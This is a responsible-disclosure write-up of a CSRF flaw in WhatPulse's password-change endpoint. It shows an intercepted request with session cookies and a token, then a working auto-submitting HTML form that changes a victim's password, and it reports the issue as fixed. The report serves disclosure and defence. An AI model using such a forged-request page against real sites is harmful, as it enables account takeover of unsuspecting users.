Technical Report
The findings contained within this report were responsibly disclosed to the developer who resolved the issues and approved of its dissemination.
Request
When submitting a password change, the following POST request was intercepted via Burp Suite proxy:
POST /dashboard/my/account HTTP/2
Host: whatpulse.org
Cookie: cookieControl=true; cookieControlPrefs=%5B%5D; _ga_BRT9F03NSR=GS1.1.1655861607.5.1.1655861697.0; _ga=GA1.2.713366771.1655830791; _gid=GA1.2.1942324937.1655830791; _gcl_au=1.1.438496871.1655835821; _clck=arxnh6|1|f2i|0; _clsk=mmp2ud|1655837162748|2|1|e.clarity.ms/collect; _uetsid=fa584840f18f11eca9003b562aa12ab3; _uetvid=fa585ed0f18f11ecbb21f3689c181309; PHPSESSID=p5oqm3d7hcoh56h4npoeland68; WPHashCookie=%242y%2410%245fwUsyQ97mWkOSxCsuS3neri7qtT5Wtu2Y%2FdvA6IT9o9YTAojr8DG; WPUIDCookie=135965; _gat=1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
Origin: https://whatpulse.org
Referer: https://whatpulse.org/dashboard/my/account
Upgrade-Insecure-Requests: 1
Te: trailers
whatpulse_token=MTY1NTg2MTcwM3pvVTNVSVRVRnl3dHdOOXN3T3RZUWlYbUNJMEh4UlRK
&user_password=attack
&user_password_confirm=attack
&save_new_password=
In addition to a variety of HTTP headers, cookies, and session ID, there are four fields submitted in the body of the POST request:
- whatpulse_token – presumably an anti-CSRF token
- user_password – the first password field
- user_password_confirm – the second password field (utilized to verify the user entered their password correctly
- save_new_password – presumably a null field used as a verb on the backend
Using Burp Suite Repeater, I was able to resubmit the request multiple times – each time editing the password to something new. This indicates there is a time-based component to token validity.
Second, I removed the Referer and Origin headers from the request which had no negative effects.
Last, I attempted to submit the request while dropping the token field entirely. These requests wouldn’t work. However, submitting with the field set to an arbitrary value (or set to 0) allowed the request to succeed.
These tests demonstrate that the anti-CSRF tokens are not functioning as intended. With that in mind, the only requirement we have is to submit the four fields above in a POST request. The application does not properly validate whatpulse_token, and does not check origin/referer headers, so it’s possibly vulnerable to being exploited using a Cross-Site Request Forgery attack.
Exploit Proof of Concept
In order to execute a Cross-Site Request Forgery, I needed to develop an exploit which submits the required fields described in the section above as POST data to the account API.
This involves constructing an HTML form as follows:
<html>
<head></head>
<body>
<form method="POST" action="https://whatpulse.org/dashboard/my/account">
<input type="hidden" name="save_new_password" value="">
<input type="hidden" name="user_password" value="csrf_attack">
<input type="hidden" name="user_password_confirm" value="csrf_attack">
<input type="hidden" name="whatpulse_token" value="0">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
When a target (unknowingly) loads this HTML page, their browser will automatically (using JavaScript) submit a POST request changing their WhatPulse account to “csrf_attack”.
Vulnerability Mitigation
This exploit no longer works, as the developer implemented a layer of multi-factor authentication to e-mail the user to verify & validate the requested modification to their account.